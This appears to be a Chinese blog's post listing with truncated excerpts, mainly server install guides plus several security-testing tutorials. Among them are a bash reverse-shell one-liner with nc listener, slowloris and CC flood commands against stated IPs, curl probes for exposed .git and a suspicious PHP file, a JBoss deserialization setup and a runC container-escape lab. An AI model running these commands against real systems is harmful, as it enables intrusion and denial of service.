- 博客(21)
- 收藏
- 关注
RSS订阅
2原创 Invoker反序列化
安装JAVA环境安装jboss1、https://download.jboss.org/jbossas/6.1/jboss-as-distribution-6.1.0.Final.zip)。解压后，进入bin目录，启动jboss: ./run.sh -c default -Djboss.bind.address=0.0.0.0。2、浏览器访问：http://IP:8080/生成命令序列化文件1、Base64（echo 1 > ~/test.log） 为MQo=2、下载工具jar包：ht
2022-04-21 15:15:02
319
原创 centos中搭建DVWA靶场
下载DVWA：DVWA-master.zip下载xampp：xampp-linux-x64-7.3.11-0-installer.run安装xampp1、执行命令：chmod +x xampp-linux-x64-7.3.11-0-installer.run2、运行xampp文件：./xampp-linux-x64-7.3.11-0-installer.run3、根据提示完成安装，默认安装位置：/opt/lampp4、关闭所有占用的80端口，查看80端口：netstat -lnp|grep 8
2022-04-21 11:52:41
4020
原创 慢速攻击（Linux）
1、centos系统中安装解压slowhttptest-master.zip以下举例中，BLB: 115.236.146.3, 端口80, 源站EIP: 115.246.146.4，后端web服务器为nginxSlowloris测试1、在攻击发起机器（另一台BCC机器）上向BLB发起测试:slowhttptest -H -g -o /root/header_result -i 5 -r 50 -l 300 -c 200 -t GET -u http://115.236.146.3:80/index.
2022-04-21 11:33:07
4643
原创 web攻击（Linux服务器）
CC攻击1、安装ab命令：yum -y install httpd-tools2、发起CC攻击：ab -c 200 -n 100000 -H “host:域名” http://IP/1.html（表示200个并发数，共100000条数据）web攻击敏感信息探测：curl -H “host:域名” http://IP/.git/文件读取：curl -H “host:域名” http://IP/soldierofallah.php威胁情报：curl -H “host:域名” http://
2022-04-21 11:17:19
3013
原创 weblogic安装
centos7.6安装weblogic141、下载weblogic安装包，上传至centos中：wget https://packages.baidu.com/app/weblogic/wls1036_linux32.bin2、给weblogic安装文件赋予可执行权限安装依赖包yum -y install glibc.i686yum -y install libgcc.i686执行安装文件./wls1036_linux32.bin输入Next进行下一步输入weblogic安装目录
2022-04-21 10:49:49
2946
原创 websphere安装
Ubuntu下安装1、下载安装包： IBM_MQ_9.1_UBUNTU_X86-64_TRIAL.tar2、创建websphere MQ需要的文件系统mkdir /opt/mqmmkdir /var/mqm3、创建MQ用户和用户组groupadd mqmuseradd -d /var/mqm -g mqm -G mqm mqmpasswd mqm4、为mqm用户组添加root组cd /etcvi group找到mqm:x:1003:mqm增加",root",修改成: mqm:x
2022-04-21 10:49:32
966
原创 Wildfly安装
1、查看是否安装JDK1.8，若未安装，首先安装jdk2、下载安装包，解压至/usr/wildfly目录下3、进入/ect/profile配置以下变量JBOSS_HOME="/usr/wildfly/wildfly-14.0.1.Final"4、给文件添加权限：chmod 777 /usr/wildfly/wildfly-14.0.1.Final5、进入配置文件，并编辑standalone.xml，将interfaces下inet-address ip地址改成当前地址，socket-bindin
2022-04-21 10:49:07
552
原创 修改ssh端口
1、登录服务器2、修改ssh登录端口：vim /etc/ssh/sshd_config3、重启ssh：systemctl restart sshd4、查看ssh端口是否更改成功netstat -ntlp5、本地登录服务器：ssh root@EIP -p ssh端口
2022-04-21 10:48:48
18171
原创 上传文件到服务器中
方法一1、Linux服务器安装lrzsz：yum -y install lrzsz2、上传命令：rz，等待系统打开本地窗口3、下载命令：sz 文件名方法二使用scp上传文件1、打开本地终端，输入命令：scp 本地文件所在路径 服务器IP:文件要放置的路径方法三1、文件所在的机器输入命令：python -m SimpleHTTPServer 80122、要下载文件的机器输入命令：wget http://${机器IP}:8012/包名...
2022-04-21 10:48:17
166
原创 反弹shell
入侵机器：192.168.0.1被入侵机器：192.168.0.21、两台机器安装nc：yum install nc2、入侵机器（192.168.0.1）执行命令：nc -vl 12343、被入侵机器（192.168.0.2）执行命令：bash -i >& /dev/tcp/192.168.0.1/1234 0>&1...
2022-04-21 10:42:42
583
原创 Spring-boot安装
1、安装JDK2、下载案例jar包：wget https://packages.baidu.com/app/spring-boot/tomcat/springboot-2.1.3.RELEASE.jar3、执行：java -jar springboot-2.1.3.RELEASE.jar --server.port=90904、浏览器访问http://IP:8080/index
2022-04-20 16:35:07
607
原创 Resin安装
Centos系统安装1、确保centos已安装JDK2、加载公钥：rpm --import http://caucho.com/download/rpm/RPM-GPG-KEY-caucho3、安装软件包（pro版本）yum -y install http://caucho.com/download/rpm/4.0.30/x86_64/resin-pro-4.0.30-1.x86_64.rpm或yum -y install http://caucho.com/download/rpm-6.8
2022-04-20 16:18:01
615
原创 Redis安装
yum安装参考：https://blog.csdn.net/zlfing/article/details/109443537安装包安装1、安装gcc：yum -y install gcc-c++2、下载安装包：wget http://download.redis.io/redis-stable.tar.gz3、解压文件：tar xzvf redis-stable.tar.gz4、进入目录编译：make && make install5、配置文件路径：mkdir -p /etc
2022-04-20 16:02:01
109
原创 Nginx/PHP安装
Nginx安装Ubuntu 16.04.1安装前准备工作安装gcc：apt-get -y install gcc安装g++：apt-get -y install g++安装openssl：apt-get -y install openssl安装build-essential：apt-get -y install build-essential安装PCREPCRE 作用是支持http_rewrite，和让 Nginx 支持正则表达式。如果Nginx配置中没有正则表达式，并且不需要http_re
2022-04-20 15:55:13
2327
原创 MySQL安装
Ubuntu1、卸载系统上的mysqlrpm -e mysql // 普通删除模式rpm -e --nodeps mysql // 强力删除模式，如果使用上面命令删除时，提示有依赖的其它文件，则用该命令可以对其进行强力删除2、下载rpm安装包：wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm3、解压rpm包：rpm -ivh mysql-community-release-el7-5.noarch.rpm4
2022-04-20 15:30:09
446
原创 jetty安装
1、下载安装包到/usr/local：wget https://packages.baidu.com/app/jetty/jetty-distribution-9.3.25.v20180904.zip2、解压：unzip jetty-distribution-9.3.25.v20180904.zip3、配置环境变量：vim /etc/profile#jettyexport JETTY_HOME=/usr/local/jetty7.6.21export CLASSPATH=$CLASSPATH:$J
2022-04-20 15:21:38
900
原创 JDK/tomcat安装
JDK安装1、下载JDK1.8安装包：https://packages.baidu.com/app/jdk-8/jdk-8u271-linux-x64.tar.gz2、将下载的安装包上传至centos中：scp 本地文件所在的路径 需要连接的服务器:想要上传至centos的路径3、将jdk安装包解压并放入/home目录下：tar -xzvf jdk-8u271-linux-x64.tar.gz -C /home4、配置环境变量打开环境变量文件：vim /etc/profile将下面配置加
2022-04-20 15:14:46
307
原创 Jboss安装
安装JDK1、解压jdk后配置环境变量JAVA_HOME=/usr/java/jdk1.8/JRE_HOME=/usr/java/jdk1.8/jrePATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/binCLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOMR/libexport JAVA_HOME JRE_HOME PATH CLASS_PATH安装Jboss注：JDK1.8与Jbo
2022-04-20 15:03:36
1676
原创 CPU打满工具
Linux系统1、在服务器中安装stress-ng: yum install stress-ng2、当yum源中没有stress-ng包时：下载安装包解压安装包，进入stress-ng目录编译：make && make install2、将CPU打满至95%：nohup stress-ng -c 0 -l 95 &Windows系统1、将CPU_burn下载后解压2、直接运行.exe文件...
2022-04-20 14:40:13
911
原创 centos系统-docker容器逃逸
docker-runc CVE-2019-5736（runC容器逃逸漏洞）1、准备漏洞环境：curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh2、下载poc，编译脚本a）下载poc：https://github.com/Frichetten/CVE-2019-5736-PoCb）修改payload
2022-04-20 11:51:16
1333
空空如也
空空如也
TA创建的收藏夹 TA关注的收藏夹
TA关注的人